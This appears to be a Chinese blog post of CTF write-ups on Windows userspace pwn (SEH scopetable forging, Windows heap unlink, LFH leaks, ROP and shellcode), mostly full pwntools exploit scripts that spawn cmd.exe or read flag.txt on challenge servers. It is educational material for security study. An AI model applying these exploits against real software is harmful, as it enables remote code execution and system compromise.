Windows_Userspace_Pwn学习

hitbgsec_babystack

思路:

程序开了SAFESEHebp之前有一堆检测。。。结构如下:

1
2
3
4
5
6
7
8
|    ebp ^ cookie    | <- ebp-0x1c ---> 不能改,有栈溢出检测
| ------------------ | <- ebp-0x18 ---> 随意
| ------------------ | <- ebp-0x14 ---> 随意
| Next_pointer | <- ebp-0x10 ---> SEH链结点,不能改
| __except_handler4 | <- ebp-0xc ---> SEH链结点,不能改
|scope_table ^ cookie| <- ebp-0x8 ---> 需泄露出cookie,然后伪造
| trylevel | <- ebp-0x4 ---> 不用改,一般默认为0,不为-2即可
| | <- ebp

在栈上伪造一个scopetable即可:

1
2
3
4
5
6
7
backdoor = 0x138D + bin_base
scopetable = p32(0xFFFFFFE4) #抄原本的scopetable
scopetable+= p32(0) #抄原本的scopetable
scopetable+= p32(0xFFFFFF20) #抄原本的scopetable
scopetable+= p32(0) #抄原本的scopetable
scopetable+= p32(0xFFFFFFFE) #抄原本的scopetable
scopetable+= p32(backdoor)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding:utf-8

from pwn import *

#context.log_level = 'debug'
p = remote('192.168.21.1',8888)

p.recvuntil('stack address = ')
stack = int(p.recvuntil('\r\n',drop=True),16)
p.recvuntil('main address = ')
main = int(p.recvuntil('\r\n',drop=True),16)
bin_base = main-0x10b0

log.success('bin_base = '+hex(bin_base))
log.success('stack = '+hex(stack))

__except_handler4 = 0x1460+bin_base
___security_cookie_addr = 0x4004+bin_base
log.success('__except_handler4 = '+hex(__except_handler4))
log.success('___security_cookie_addr = '+hex(___security_cookie_addr))

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('know\r\n')
p.sendline(str(___security_cookie_addr))
p.recvuntil(' value is ')
cookie = int(p.recvuntil('\r\n',drop=True),16)
log.success('cookie = '+hex(cookie))

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('know\r\n')
p.sendline(str(stack+0x90-4))
p.recvuntil(' value is ')
Next_addr = int(p.recvuntil('\r\n',drop=True),16)
log.success('Next_addr = '+hex(Next_addr))

p.recvuntil('Do you want to know more?\r\n')
p.sendline('xxrw')

backdoor = 0x138D+bin_base
scopetable = p32(0xFFFFFFE4)
scopetable+= p32(0)
scopetable+= p32(0xFFFFFF20)
scopetable+= p32(0)
scopetable+= p32(0xFFFFFFFE)
scopetable+= p32(backdoor)
fake_scope_table = stack+4

payload = '\x11'*4+scopetable.ljust(0x7C,'\x11')
payload+= p32((stack+0x9C)^cookie)+p32(0)
payload+= p32(0)+p32(Next_addr)
payload+= p32(__except_handler4)+p32(fake_scope_table^cookie)
payload+= p32(0)
p.sendline(payload)

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('know\r\n')
p.sendline('0')

p.recvuntil('>')
p.sendline('chcp 65001')
p.recvuntil('>')
p.sendline('cmd.exe')
p.recvuntil('cmd.exe')

p.interactive()

2019第五空间决赛_九果

抄的上题。

2019SUCTF_babystack

上面两题的稍微进化版。

思路:

首先是个10进制转16进制的小算法,这个看不懂可以直接动态调,也能直接看出来,然后用除0异常触发藏在stu_EAACE0这个main函数的scopetableHandlerFunc位置的后门函数,然后会来到一个和上面两题main函数很相似的函数。然后后续就和上面一样了,可能调偏移稍微麻烦一点。程序里有多处插了简单的桩,逆向时需稍稍注意。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#coding:utf-8

from pwn import *

#context.log_level = 'debug'
p = remote('192.168.21.1',8889)

p.recvuntil('stack address = ')
stack = int(p.recvuntil('\r\n',drop=True),16)
p.recvuntil('main address = 0x')
main = p.recvuntil('\r\n',drop=True)
bin_base = main[:-4]
target = bin_base+'8551'
bin_base = int(bin_base+'0000',16)

log.success('stack = '+hex(stack))
log.success('bin_base = '+hex(bin_base))

p.recvuntil('So,Can You Tell me what did you know?\r\n')

target = '0'*(8-len(target)) + target
p.sendline(target)

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('Where do you want to know?\r\n')
p.sendline(str(stack-0x30))
p.recvuntil('value is ')
Next_pointer = int(p.recvuntil('\r\n',drop=True),16)
log.success('Next_pointer = '+hex(Next_pointer))

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('Where do you want to know?\r\n')
p.sendline(str(bin_base+0x7c004))
p.recvuntil('value is ')
cookie = int(p.recvuntil('\r\n',drop=True),16)
log.success('cookie = '+hex(cookie))

backdoor = bin_base+0x8266
scopetable = p32(0xFFFFFFE4)
scopetable+= p32(0)
scopetable+= p32(0xFFFFFF0C)
scopetable+= p32(0)
scopetable+= p32(0xFFFFFFFE)
scopetable+= p32(backdoor)

fake_scope_table = stack-0xc8
payload = '\x11'*4+scopetable.ljust(0x90-4,'\x11')
payload+= p32((stack-0x20)^cookie)+p32(0)+p32(0)
payload+= p32(Next_pointer)+p32(bin_base+0x9a30)
payload+= p32(fake_scope_table^cookie)+p32(0)

p.recvuntil('Do you want to know more?\r\n')
p.sendline('xxrw')
p.sendline(payload)

p.recvuntil('Do you want to know more?\r\n')
p.sendline('yes')
p.recvuntil('Where do you want to know?\r\n')
p.sendline('0')

p.interactive()

2019OGeek_babyheap

思路:

Re:

当时做的时候,首先在逆向上卡住了,按不了F5,现在又重新逆了一遍。。。瞎弄了一波,调整了栈帧等,终于可以按F5了,不过M4x师傅也在github上放了这题的源码。

Pwn:

当时做的时候,算是第一次碰到关于heapwinpwn,由于对Rtlheap一窍不通,所以觉得这题可能很难,实际上现在看来就是个经典的堆溢出,可能放到linux下可以直接秒杀的那种。

流程:堆溢出 => 改next__HEAP_ENTRY(freed)的FLink和Blink => unlink => Arbitrary address rw => hijick stack => ROP

Ex师傅的文章已经给了很细致的分析,我这里只记录几个自己的发现。

  • babyheap模块是导入了ntdll.dll模块的函数的,HeapAllocInitializeSListHead都是,所以就没有了泄露KERNEL32的必要了,具体为什么请自己调试。
  • 最后爆破main_ret_addr的时候,我感觉每次show多一点貌似会快一点?可能是我个人感觉问题233。
  • 查看teb之前需要切换到主线程,命令请看本文最后的windbg使用笔记。
  • 关于编码问题,linux的中文编码方式是unicodewingbk,所以拿到shell需要转码。(如果你win是英文当我没说)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#coding:utf-8

from pwn import *

#context.log_level = 'debug'
p = remote('192.168.21.1',10002)

def new(size,content):
p.recvuntil('choice?\r\n')
p.sendline('1')
p.recvuntil('sword?\r\n')
p.sendline(str(size))
p.recvuntil('Name it!\r\n')
p.send(content)

def delete(index):
p.recvuntil('choice?\r\n')
p.sendline('2')
p.recvuntil('destroy?\r\n')
p.sendline(str(index))

def show(index):
p.recvuntil('choice?\r\n')
p.sendline('4')
p.recvuntil('check?\r\n')
p.sendline(str(index))

def edit(index,size,content):
p.recvuntil('choice?\r\n')
p.sendline('3')
p.recvuntil('polish?\r\n')
p.sendline(str(index))
p.recvuntil('time?\r\n')
p.sendline(str(size))
p.recvuntil('again : \r\n')
p.send(content)

p.recvuntil('And here is your Novice village gift : ')
bin_base = int(p.recvuntil('\r\n',drop=True),16) - 0x1090
log.success('bin_base = '+hex(bin_base))

ptr_list = bin_base + 0x4370
key_list = bin_base + 0x43BC

for i in range(6):
new(0x18,'\n')

delete(2)

edit(1,0x18,'\x11'*0x18+'\n')
show(1)
p.recvuntil('\x11'*0x18)
free_heap_header = u64(p.recvuntil('\r\n',drop=True).ljust(8,'\x00'))
#-----------------------------unlink----------------------------------
delete(4)
target = ptr_list + 8
payload = '\x11'*0x18 + p64(free_heap_header)
payload+= p32(target-4) + p32(target) + '\n'
edit(1,0x28,payload)
delete(1)

p.recvuntil('choice?\r\n')
p.sendline('1337')
p.recvuntil('target?\r\n')
p.sendline(str(key_list+2))
edit(2,4,p32(ptr_list+0xC)+'\n')
#--------------------------leak .dlls---------------------------------
puts_iat = bin_base + 0x30c8
sleep_iat = bin_base + 0x3008
InitializeSListHead_iat = bin_base + 0x3014

edit(2,4,p32(puts_iat)+'\n')
show(3)
p.recvuntil('Show : ')
ucrtbase = u32(p.recv(4)) - (0x759789f0-0x758C0000)
log.success('ucrtbase = '+hex(ucrtbase))

edit(2,4,p32(InitializeSListHead_iat)+'\n')
show(3)
p.recvuntil('Show : ')
ntdll = u32(p.recv(4)) - (0x77686df0-0x77620000)
log.success('ntdll = ' + hex(ntdll))
#---------------------leak teb,peb,stack_end---------------------------
ntdll_PebLdr_addr = ntdll + 0x120c40
log.success('ntdll_PebLdr_addr = ' + hex(ntdll_PebLdr_addr))
edit(2,4,p32(ntdll_PebLdr_addr-52)+'\n')
show(3)
p.recvuntil('Show : ')
Peb_addr = u32(p.recvuntil('\r\n',drop=True).ljust(4,'\x00')) - 0x21c
log.success('Peb_addr = ' + hex(Peb_addr))

Teb_addr = Peb_addr + 0x3000
log.success('Teb_addr = ' + hex(Teb_addr))

result = ''
while(len(result) < 4):
result_length = len(result)
edit(2,4,p32(Teb_addr+4+result_length)+'\n')
show(3)
p.recvuntil('Show : ')
result += p.recvuntil('\r\n',drop=True)+'\x00'

stack = u32(result[:4])
log.success('stack = '+hex(stack))
#--------------------find main_ret_addr----------------------------
edit(2,4,p32(key_list+3)+'\n')
edit(3,14,p8(1)*14+'\n')

main_ret_content = bin_base + 0x193b
log.info('Start finding main_ret_addr,it will take about 30s,please wait...:)')
main_ret_addr = 0
for addr in range(stack-0x1000,stack,0x4*14)[::-1]:
if(main_ret_addr == 0):
payload = p32(addr)+p32(addr+4)+p32(addr+8)+p32(addr+0xc)
payload+= p32(addr+0x10)+p32(addr+0x14)+p32(addr+0x18)+p32(addr+0x1c)
payload+= p32(addr+0x20)+p32(addr+0x24)+p32(addr+0x28)+p32(addr+0x2c)
payload+= p32(addr+0x30)+p32(addr+0x34)
edit(2,0x4*14,payload+'\n')
for i in range(3,3+14):
show(i)
p.recvuntil('Show : ')
result = p.recvuntil('\r\n',drop=True)[:4]
content = u32(result.ljust(4,'\x00'))
if(content == main_ret_content):
main_ret_addr = addr+(i-3)*4
break

log.success('main_ret_addr = ' + hex(main_ret_addr))

edit(2,0x10,p32(main_ret_addr)+'cmd.exe\x00'+'\n')
#----------------------------ROP-----------------------------------
rop = [
ucrtbase + 0x000efda0,
0xdeadbeef,
ptr_list+0x10
]
payload = flat(rop)

raw_input('[+] please Enter to ROP...:)')
edit(3,len(payload),payload+'\n')

p.recvuntil('choice?\r\n')
p.sendline('5')

p.recvuntil('>')
p.sendline('chcp 65001')
p.recvuntil('>')
p.sendline('cmd.exe')
p.recvuntil('cmd.exe')

p.interactive()

2019Hitcon_dadadb

思路:

开启LFH => 利用填满Userblock的方法进行稳定泄露heap => 从_HEAP中的_HEAP_LOCK泄露ntdll基址 => 泄露binbaseKERNEL32等基址 => 劫持listhint[0x10]bss上 => 在bss上伪造fake_chunk => 改写user.txtfp并在bss上伪造file_struct => 改写login返回地址为ropchain => shellcodeflag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#coding:utf-8

from pwn import *
context.arch = "amd64"

p = remote('192.168.21.1',8888)

def login(user,name):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil(":")
p.sendline(user)
p.recvuntil(":")
p.sendline(name)

def logout():
p.recvuntil('>> ')
p.sendline('4')

def add(key,size,content):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Key:')
p.send(key)
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def delete(key):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Key:')
p.send(key)

def show(key):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Key:')
p.send(key)


login('orange','godlike')

#Enable LFH
for i in range(19):
add("\x01lays"+str(i),0x90,"fuck")

#Fill UserBlock
for i in range(0x10):
add("\x02xxrw_"+str(i),0x90,"xxrw")

#leave a hole
delete("\x02xxrw_15")

#Fill the hole with structure
add("\x02xxrw_14",0x60,'\x14'*0x70)
show("\x02xxrw_14")
p.recvuntil('\x14'*0x70)

heapbase = u64(p.recv(8)) & 0xffffffffffff0000
if heapbase == 0:
log.info('bad luck...try again~~~')
exit()
log.success('heapbase = '+hex(heapbase))

p.recvuntil(p64(0x90))
key = p.recvuntil("\x00")[:-1]
log.success('next_key = '+key)

#--------------------------------------------------------
add('\x02xxrw_14',0x60,'\x14'*0x70+p64(heapbase+0x10))
show(key)
dump = p.recvuntil('orange')
log.info('check...')
if p32(0xffeeffee) not in dump:
log.info('bad luck...try again~~~')
exit()
log.success('success!!!')

def readmem(addr):
global key
add('\x02xxrw_14',0x60,'\x14'*0x70+p64(addr))
show(key)
p.recvuntil(":")
return u64(p.recvuntil("orange")[:8].ljust(8,"\x00"))

_heap_lock = readmem(heapbase+0x2c0)
log.success('_heap_lock = '+hex(_heap_lock))
ntdll = _heap_lock + (0x7ffcb0ad0000-0x7ffcb0c33d30) - 0x60
log.success('ntdll = '+hex(ntdll))
PebLdr_addr = ntdll + (0x7ffcb0c353c0-ntdll)
log.success('PebLdr_addr = '+hex(PebLdr_addr))

immol = PebLdr_addr + 0x20
ldrdata = readmem(immol)
binentry = readmem(ldrdata + 0x28)
binbase = binentry-0x1e54-0x1c-0x40
log.success('binbase = '+hex(binbase))

Peb = readmem(PebLdr_addr-(0xc0-0x88)) - 0x340
log.success('Peb = '+hex(Peb))
Teb = Peb + 0x1000
log.success('Teb = '+hex(Teb))

IAT = binbase + 0x3000
KERNEL32_ReadFile = readmem(IAT)
KERNEL32 = KERNEL32_ReadFile - (0x0007ffcafb82680-0x7ffcafb60000)
log.success('KERNEL32 = '+hex(KERNEL32))

stack_end = readmem(Teb+0x8)
log.success('stack_end = '+hex(stack_end))
cookie = readmem(heapbase+0x88)
log.success('cookie = '+hex(cookie))
processparameter = readmem(Peb+0x20)
hstdin = readmem(processparameter+0x20)
log.success('hstdin = '+hex(hstdin))

password = binbase+0x5648
start = stack_end-8
ret = 0
#ret_addr = binbase+0x1E38
ret_addr = binbase+0x1b60

log.info('Begin Brute Force...Please wait...:)')
for i in range(0x1000/8):
addr = start - 8*i
#print i
v = readmem(addr)
if v == ret_addr :
ret = addr
log.success('find!!!')
break
if ret == 0 :
exit()
log.success('ret_addr = '+hex(ret))

add("lucas",0x200,"\x02"*0x200)
add("lucas",0x100,"\x03"*0x100) #A
add("david942j",0xf0,"a"*0x10+'b'*8) #B
add("mehqq",0xf0,"qq"*0x10)
add("mehqq2",0xf0,"qq2"*0x10) #D
add("mehqq3",0xf0,"qq3"*0x10)

delete("mehqq2") #free D
delete("david942j") #free B

show("lucas")
dump = p.recvuntil("b"*8)[:-8]
david_fd = u64(dump[-16:-8])
david_bk = u64(dump[-8:])
header = u64(dump[-24:-16])
david = david_fd - 0x200

log.success('david_fd = '+hex(david_fd))
log.success('david_bk = '+hex(david_bk))
log.success('header = '+hex(header))
log.success('david = '+hex(david))

fakechunk = p64(0)+p64(header)+p64(password+0x10)+p64(david_bk)
logout()
#forge fake chunk in front of fp
fake_User = 'orange'+'\x00'*2+p64(header)+p64(0xdeadbeef)+p64(password+0x10)[:-2]
fake_Password = 'godlike'+'\x00'+p64(header)+p64(password-0x18)+p64(david)[:-2]
login(fake_User,fake_Password)
add("lucas",0x100,"a"*0x100+fakechunk)
add("yy",0xf0,'g\n')

#------------------------
_fp = password + 0x30
_cnt = 0
_ptr = 0
_base = ret
_flag = 0x2080
fd = 0
bufsize = 0x100+0x10
obj = p64(_ptr) + p64(_base) + p32(_cnt) + p32(_flag) + p32(fd) + p32(0) + p64(bufsize) +p64(0)
obj+= p64(0xffffffffffffffff) + p32(0xffffffff) + p32(0) + p64(0)*2
add("hh",0xf0,'a'*16 + p64(_fp) + p64(0) + obj) # overwrite fp
'''
p64(_ptr)+p64(_base)
p32(_cnt=0)+p32(_flag=0x2080)+p32(_file)+p32(_charbuf=0)
p64(_bufsiz=0x110)+p64(0)
p64(0xffffffffffffffff)+p32(0xffffffff)+p32(0)
p64(0)+p64(0)
'''
VirtualProtect = KERNEL32 + 0x1b680
ReadFile = KERNEL32 + 0x22680
pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8fb20
buf = binbase + 0x5800
rop = flat([pop_rdx_rcx_r8_r9_r10_r11,buf,hstdin,0x300,buf-8,0,0,ReadFile])
rop+= flat([pop_rdx_rcx_r8_r9_r10_r11,0,0,0,0,0,0]) # ReadFile会下溢,pop掉脏数据
rop+= flat([pop_rdx_rcx_r8_r9_r10_r11,0x1000,binbase+0x5000,0x40,buf-8,0,0,VirtualProtect,buf])
logout()

context.log_level = 'debug'
raw_input()
login('da','da') # trigger fread to do arbitrary writing
raw_input()
p.send(rop.ljust(0x100,'\x00')) # overwrite return address with rop chain

WriteFile = KERNEL32 + 0x22770
CreateFile = KERNEL32 + 0x222f0
GetStdHandle = KERNEL32 + 0x1c890

asm_str = '''
sub rsp, 0x1000 ;// to prevent underflowing

mov rax, 0x7478742e67616c66;// flag.txt
mov [rsp + 0x100],rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile

mov ecx, 0xfffffff5; //STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile

mov rax, %d
call rax ;// exit
''' % (CreateFile,ReadFile,GetStdHandle,WriteFile,binbase+0x1B86)

shellcode = asm(asm_str)
raw_input()
p.send(shellcode)

p.interactive()

getshell_exp:

真正的环境是限制了getshell的,所以shellcode才是正道,这里只是尝试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#coding:utf-8

from pwn import *
context.arch = "amd64"

p = remote('192.168.21.1',8888)

def login(user,name):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil(":")
p.sendline(user)
p.recvuntil(":")
p.sendline(name)

def logout():
p.recvuntil('>> ')
p.sendline('4')

def add(key,size,content):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Key:')
p.send(key)
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def delete(key):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Key:')
p.send(key)

def show(key):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Key:')
p.send(key)


login('orange','godlike')

#Enable LFH
for i in range(19):
add("\x01lays"+str(i),0x90,"fuck")

#Fill UserBlock
for i in range(0x10):
add("\x02xxrw_"+str(i),0x90,"xxrw")

#leave a hole
delete("\x02xxrw_15")

#Fill the hole with structure
add("\x02xxrw_14",0x60,'\x14'*0x70)
show("\x02xxrw_14")
p.recvuntil('\x14'*0x70)

heapbase = u64(p.recv(8)) & 0xffffffffffff0000
if heapbase == 0:
log.info('bad luck...try again~~~')
exit()
log.success('heapbase = '+hex(heapbase))

p.recvuntil(p64(0x90))
key = p.recvuntil("\x00")[:-1]
log.success('next_key = '+key)

#--------------------------------------------------------
add('\x02xxrw_14',0x60,'\x14'*0x70+p64(heapbase+0x10))
show(key)
dump = p.recvuntil('orange')
log.info('check...')
if p32(0xffeeffee) not in dump:
log.info('bad luck...try again~~~')
exit()
log.success('success!!!')

def readmem(addr):
global key
add('\x02xxrw_14',0x60,'\x14'*0x70+p64(addr))
show(key)
p.recvuntil(":")
return u64(p.recvuntil("orange")[:8].ljust(8,"\x00"))

_heap_lock = readmem(heapbase+0x2c0)
log.success('_heap_lock = '+hex(_heap_lock))
ntdll = _heap_lock + (0x7ffcb0ad0000-0x7ffcb0c33d30) - 0x60
log.success('ntdll = '+hex(ntdll))
PebLdr_addr = ntdll + (0x7ffcb0c353c0-ntdll)
log.success('PebLdr_addr = '+hex(PebLdr_addr))

immol = PebLdr_addr + 0x20
ldrdata = readmem(immol)
binentry = readmem(ldrdata + 0x28)
binbase = binentry-0x1e54-0x1c-0x40
log.success('binbase = '+hex(binbase))

ucrtbase = readmem(binbase+0x31D0) - (0x7ffcad8f0760-0x00007ffcad870000)
log.success('ucrtbase = '+hex(ucrtbase))
system = ucrtbase+(0x7ffcad91bba0-0x7ffcad870000)

Peb = readmem(PebLdr_addr-(0xc0-0x88)) - 0x340
log.success('Peb = '+hex(Peb))
Teb = Peb + 0x1000
log.success('Teb = '+hex(Teb))

IAT = binbase + 0x3000
KERNEL32_ReadFile = readmem(IAT)
KERNEL32 = KERNEL32_ReadFile - (0x0007ffcafb82680-0x7ffcafb60000)
log.success('KERNEL32 = '+hex(KERNEL32))

stack_end = readmem(Teb+0x8)
log.success('stack_end = '+hex(stack_end))
cookie = readmem(heapbase+0x88)
log.success('cookie = '+hex(cookie))
processparameter = readmem(Peb+0x20)
hstdin = readmem(processparameter+0x20)
log.success('hstdin = '+hex(hstdin))

password = binbase+0x5648
start = stack_end-8
ret = 0
#ret_addr = binbase+0x1E38
ret_addr = binbase+0x1b60

log.info('Begin Brute Force...Please wait...:)')
for i in range(0x1000/8):
addr = start - 8*i
#print i
v = readmem(addr)
if v == ret_addr :
ret = addr
log.success('find!!!')
break
if ret == 0 :
exit()
log.success('ret_addr = '+hex(ret))

add("lucas",0x200,"\x02"*0x200)
add("lucas",0x100,"\x03"*0x100) #A
add("david942j",0xf0,"a"*0x10+'b'*8) #B
add("mehqq",0xf0,"qq"*0x10)
add("mehqq2",0xf0,"qq2"*0x10) #D
add("mehqq3",0xf0,"qq3"*0x10)

delete("mehqq2") #free D
delete("david942j") #free B

show("lucas")
dump = p.recvuntil("b"*8)[:-8]
david_fd = u64(dump[-16:-8])
david_bk = u64(dump[-8:])
header = u64(dump[-24:-16])
david = david_fd - 0x200

log.success('david_fd = '+hex(david_fd))
log.success('david_bk = '+hex(david_bk))
log.success('header = '+hex(header))
log.success('david = '+hex(david))

fakechunk = p64(0)+p64(header)+p64(password+0x10)+p64(david_bk)
logout()
#forge fake chunk in front of fp
fake_User = 'orange'+'\x00'*2+p64(header)+p64(0xdeadbeef)+p64(password+0x10)[:-2]
fake_Password = 'godlike'+'\x00'+p64(header)+p64(password-0x18)+p64(david)[:-2]
login(fake_User,fake_Password)
add("lucas",0x100,"a"*0x100+fakechunk)
add("yy",0xf0,'g\n')

#------------------------
_fp = password + 0x30
_cnt = 0
_ptr = 0
_base = ret
_flag = 0x2080
fd = 0
bufsize = 0x100+0x10
obj = p64(_ptr) + p64(_base) + p32(_cnt) + p32(_flag) + p32(fd) + p32(0) + p64(bufsize) +p64(0)
obj+= p64(0xffffffffffffffff) + p32(0xffffffff) + p32(0) + p64(0)*2
add("hh",0xf0,'a'*16 + p64(_fp) + p64(0) + obj) # overwrite fp
'''
p64(_ptr)+p64(_base)
p32(_cnt=0)+p32(_flag=0x2080)+p32(_file)+p32(_charbuf=0)
p64(_bufsiz=0x110)+p64(0)
p64(0xffffffffffffffff)+p32(0xffffffff)+p32(0)
p64(0)+p64(0)
'''
VirtualProtect = KERNEL32 + 0x1b680
ReadFile = KERNEL32 + 0x22680
pop_rdx_rcx_r8_r9_r10_r11 = ntdll + 0x8fb20
buf = binbase + 0x5800
raw_input()

rop = flat([pop_rdx_rcx_r8_r9_r10_r11,0,password,0,0,0,0,system])
logout()

login('da','cmd.exe\x00') # trigger fread to do arbitrary writing
raw_input()
p.send(rop.ljust(0x100,'\x00')) # overwrite return address with rop chain

p.interactive()

官方exp:

https://github.com/scwuaptx/CTF/tree/master/2019-writeup/hitcon/dadadb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import time
host = "10.211.55.24"
port = 6677
host = "13.230.51.176"
port = 4869
context.arch = "amd64"
r = remote(host,port)

def login(user,name):
r.recvuntil(">>")
r.sendline("1")
r.recvuntil(":")
r.sendline(user)
r.recvuntil(":")
r.sendline(name)


def add(key,size,data):
r.recvuntil(">>")
r.sendline("1")
r.recvuntil(":")
r.send(key)
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.send(data)

def view(key):
r.recvuntil(">>")
r.sendline("2")
r.recvuntil(":")
r.send(key)

def free(key):
r.recvuntil(">>")
r.sendline("3")
r.recvuntil(":")
r.send(key)

def logout():
r.recvuntil(">>")
r.sendline("4")

login("ddaa","phdphd")

#Enable LFH
for i in range(19):
add("lays" + str(i),0x90,"fuck")

#Fill UserBlock
for i in range(0x10):
add("dada" + str(i),0x90,"ggwp")

#leave a hole
free("dada15")
#Fill the hole with structure
add("dada14",0x60,'a'*0x70) #leak heap ptr
view("dada14")
r.recvuntil("a"*0x70)
heap =u64(r.recv(8)) & 0xffffffffffff0000
print "heap:",hex(heap)
if heap == 0 :
exit();
r.recvuntil(p64(0x90))
ids = r.recvuntil("\x00")[:-1]
print "leakid:",ids

#check heap with signature
add("dada14",0x60,'a'*0x70 + p64(heap+0x10))
view(ids)
dump = r.recvuntil("ddaa")
if p32(0xffeeffee) not in dump:
view(ids)
exit()

def readmem(addr):
global ids
add("dada14",0x60,'a'*0x70 + p64(addr))
view(ids)
r.recvuntil(":")
return u64(r.recvuntil("ddaa")[:8].ljust(8,"\x00"))

lock = readmem(heap+0x2c0)
ntdll = lock - 0x163cb0-0x20-0x40
print "ntdll:",hex(ntdll)
pebldr = ntdll + 0x1653a0
immol = pebldr + 0x20
ldrdata = readmem(immol)
bin_entry = readmem(ldrdata + 0x28)
bin_base = bin_entry - 0x1e54-0x1c-0x40
print "bin:",hex(bin_base)
iat = bin_base + 0x3000
readfile = readmem(iat)
kernel32 = readfile - 0x22680
print "kernel32:",hex(kernel32)
peb = readmem(ntdll+0x165308) - 0x80
teb = peb + 0x1000
stack = readmem(teb+0x10+1) << 8
print "stack:",hex(stack)
stack_end = stack + (0x10000 - (stack & 0xffff))
cookie = readmem(heap+0x88)
print "cookie:",hex(cookie)
processparameter = readmem(peb+0x20)
